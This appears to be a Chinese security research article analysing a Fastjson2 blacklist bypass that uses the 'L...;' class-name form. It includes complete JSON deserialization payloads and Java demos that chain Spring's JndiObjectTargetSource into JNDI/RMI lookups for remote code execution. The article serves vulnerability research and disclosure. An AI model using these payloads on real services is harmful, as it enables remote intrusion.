Fastjson2 黑名单 Bypass 与利用
2023-8-29 10:1:0 Author: paper.seebug.org(查看原文) 阅读量:31 收藏

作者:lhy
本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送! 投稿邮箱:[email protected]

前言

Fastjson1在调用 JSON.parse 的时候出现过一些列的问题。早在 FastJson1.2.25-1.2.41 版本中就存在通过 L; 绕过的利用方法。

当时比较盛行的一种利用方式为

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","DataSourceName":"rmi://127.0.0.1:8085/xxx","AutoCommit":"false"}

Fastjson在解析类名时会删除开头的 L 和 结尾的 ;

最近笔者在看Fastjson2的时候与Fastjson1的黑名单进行了一些比较,也发现了一些问题。

Fastjson2黑名单bypass

Fastjosn2测试版本

 <dependency>
      <groupId>com.alibaba.fastjson2</groupId>
      <artifactId>fastjson2</artifactId>
      <version>2.0.38</version>
  </dependency>

首先检查一下在Fastjson2中 com/alibaba/fastjson2/reader/ObjectReaderProvider.java#checkAutoType 都做了什么。

 public Class<?> checkAutoType(String typeName, Class<?> expectClass, long features) {
        if (typeName == null || typeName.isEmpty()) {
            return null;
        }

        ...

        int typeNameLength = typeName.length();
        // 类名长度检测
        if (typeNameLength >= 192) {
            throw new JSONException("autoType is not support. " + typeName);
        }

        // 不允许第一个字符为 [
        if (typeName.charAt(0) == '[') {
            String componentTypeName = typeName.substring(1);
            checkAutoType(componentTypeName, null, features); // blacklist check for componentType
        }

        if (expectClass != null && expectClass.getName().equals(typeName)) {
            afterAutoType(typeName, expectClass);
            return expectClass;
        }

        boolean autoTypeSupport = (features & JSONReader.Feature.SupportAutoType.mask) != 0;
        Class<?> clazz;

        ...

        clazz = loadClass(typeName);

        if (clazz != null) {
            // 判断是否为 QLDataSourceOrRowSet 类型的类
            if (ClassLoader.class.isAssignableFrom(clazz) || JDKUtils.isSQLDataSourceOrRowSet(clazz)) {
                throw new JSONException("autoType is not support. " + typeName);
            }

            if (expectClass != null) {
                if (expectClass.isAssignableFrom(clazz)) {
                    afterAutoType(typeName, clazz);
                    return clazz;
                } else {
                    if ((features & JSONReader.Feature.IgnoreAutoTypeNotMatch.mask) != 0) {
                        return expectClass;
                    }

                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                }
            }
        }

        afterAutoType(typeName, clazz);
        return clazz;
    }

眼尖的师傅一眼就可以发现了,在此时的版本中 Fastjson2 并没有对 L; 的场景进行处理。也就是我们在解析字符的时候,是可以传入 Lxxxx; 的。那么此时Fastjson2能否正确解析类呢。

然后我们跟进一下 com/alibaba/fastjson2/util/TypeUtils.java#loadClass 函数的处理流程。

public static Class loadClass(String className) {
    if (className.length() >= 192) {
        return null;
    }

    ...

    Class mapping = TYPE_MAPPINGS.get(className);
    if (mapping != null) {
        return mapping;
    }

    if (className.startsWith("java.util.ImmutableCollections$")) {
        try {
            return Class.forName(className);
        } catch (ClassNotFoundException e) {
            return CLASS_UNMODIFIABLE_LIST;
        }
    }

    // 可以看到此时 Fastjson2 是对 `Lxxx;` 进行了处理的
    if (className.charAt(0) == 'L' && className.charAt(className.length() - 1) == ';') {
        className = className.substring(1, className.length() - 1);
    }

    if (className.charAt(0) == '[' || className.endsWith("[]")) {
        String itemClassName = className.charAt(0) == '[' ? className.substring(1) : className.substring(0, className.length() - 2);
        Class itemClass = loadClass(itemClassName);
        if (itemClass == null) {
            throw new JSONException("load class error " + className);
        }
        return Array.newInstance(itemClass, 0).getClass();
    }

    ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
    if (contextClassLoader != null) {
        try {
            return contextClassLoader.loadClass(className);
        } catch (ClassNotFoundException ignored) {
        }
    }

    try {
        return JSON.class.getClassLoader().loadClass(className);
    } catch (ClassNotFoundException ignored) {
    }

    try {
        return Class.forName(className);
    } catch (ClassNotFoundException ignored) {
    }

    return null;
}

看起来我们可以用Fastjson1中的一些名单进行bypass了。

如何RCE

在上一节中说道,Fastjson2在解析字符串时,可以通过使用 Lxxx; 的形式绕过他的黑名单限制,但是除了对于类名的判断,Fastjson2还有一些其他的黑名单检测方式,比如在 checkAutoType 时判断了一个类是否为 DataSource 相关的类。

让我们具体调试一下。

首先利用之前的poc尝试一下:

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","DataSourceName":"rmi://127.0.0.1:8085/xxx","AutoCommit":"false"}

可以看到此时会去加载类了。

由于Fastjson2会对这个类名进行处理,所以不用担心找不到这个类。

但是接下来Fastjson2还会进行进一步的判断。

此时是无法过这个校验的。也就是这个我们尝试的poc在Fastjson2中无法使用。

要找到可以利用的POC也简单,只需要找一个不是 Datasource 相关的类即可。如下:

public static void main(String[] args) {
    String poc = "{\"@type\":\"Lorg.apache.xbean.propertyeditor.JndiConverter;\",\"asText\":\"rmi://127.0.0.1:8089/test\"}";
    Object obj = JSON.parse(poc, JSONReader.Feature.UseNativeObject,
    JSONReader.Feature.SupportAutoType);
    System.out.println(obj);
}

在使用上面的这个POC时,需要一个依赖。

<dependency> 
  <groupId>org.apache.xbean</groupId> 
  <artifactId>xbean-reflect</artifactId> 
  <version>4.15</version>
</dependency>

Spring框架中的依赖利用

为了继续深入找到一个被更加广泛引入的利用类,笔者对spring进行了进一步查找,发现在Spring中存在这么一个类:org.springframework.jndi.JndiObjectTargetSource ,这个类有一个 getTarget 方法,可以触发JNDI的调用。下面是一个最小调用的demo。

String poc3 = "{\n" +
                "    \"@type\":\"Lorg.springframework.jndi.JndiObjectTargetSource;\",\n" +
                "    \"jndiName\": \"rmi://127.0.0.1:12312/Exp\",\n" +
                "    \"jndiTemplate\": {\n" +
                "        \"@type\":\"org.springframework.jndi.JndiTemplate\",\n" +
                "        \"environment\": {\n" +
                "            \"java.naming.factory.initial\": \"com.sun.jndi.rmi.registry.RegistryContextFactory\"\n" +
                "        }\n" +
                "    }\n" +
                "}";

JndiObjectTargetSource o = (JndiObjectTargetSource) JSON.parse(poc3, JSONReader.Feature.SupportAutoType);
o.getTarget();

然后可以看到,当parse出该对象后,如果触发到了 getTarget 方法,就会调用到 JNDI的查询。

为了让这个利用更加好用,还需要想一个办法让他能自动调用到 JndiObjectTargetSource 对象的 getTarget 方法。

熟系 Fastjson1的师傅可能会想到通过 json path 的方式,可以直接取target进行触发,但是这条路在 Fastjson2中是行不通的。

因此为了调用到 getTarget 方法,笔者这里想到了一条调用路径为:setXXX -> toString -> getTarget 。在这里直接给出一条可以用的链。

{
    "@type":"javax.swing.plaf.basic.BasicComboBoxEditor",
    "item":{
        "@type":"com.alibaba.fastjson2.JSONObject",
        "a": {
            "@type":"Lorg.springframework.jndi.JndiObjectTargetSource;",
            "jndiName": "rmi://127.0.0.1:12312/Exp",
            "jndiTemplate": {
                "@type":"org.springframework.jndi.JndiTemplate",
                "environment": {
                    "java.naming.factory.initial": "com.sun.jndi.rmi.registry.RegistryContextFactory"
                }
            }
        }
    }
}

Fastjson2 在构造 BasicComboBoxEditor 对象时,会调用它的 setItem 方法,而 setItem 方法会调用到 JSONObjecttoString 方法,然后会进一步调用到 JndiObjectTargetSourcegetTarget 方法。有兴趣的师傅可以自行调试一下。

完整利用demo如下。

String poc = "{\n" +
                "    \"@type\":\"javax.swing.plaf.basic.BasicComboBoxEditor\",\n" +
                "    \"item\":{\n" +
                "        \"@type\":\"com.alibaba.fastjson2.JSONObject\",\n" +
                "        \"a\": {\n" +
                "            \"@type\":\"Lorg.springframework.jndi.JndiObjectTargetSource;\",\n" +
                "            \"jndiName\": \"rmi://127.0.0.1:12312/Exp\",\n" +
                "            \"jndiTemplate\": {\n" +
                "                \"@type\":\"org.springframework.jndi.JndiTemplate\",\n" +
                "                \"environment\": {\n" +
                "                    \"java.naming.factory.initial\": \"com.sun.jndi.rmi.registry.RegistryContextFactory\"\n" +
                "                }\n" +
                "            }\n" +
                "        }\n" +
                "    }\n" +
                "}";

Object o = (Object) JSON.parse(poc, JSONReader.Feature.SupportAutoType);

其实这种bypass也不是Fastjson2全版本通杀的,原因在于只有 2.0.14 版本开始,loadClass 才会对 L; 进行处理。


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/3017/


文章来源: https://paper.seebug.org/3017/
如有侵权请联系:admin#unsafe.sh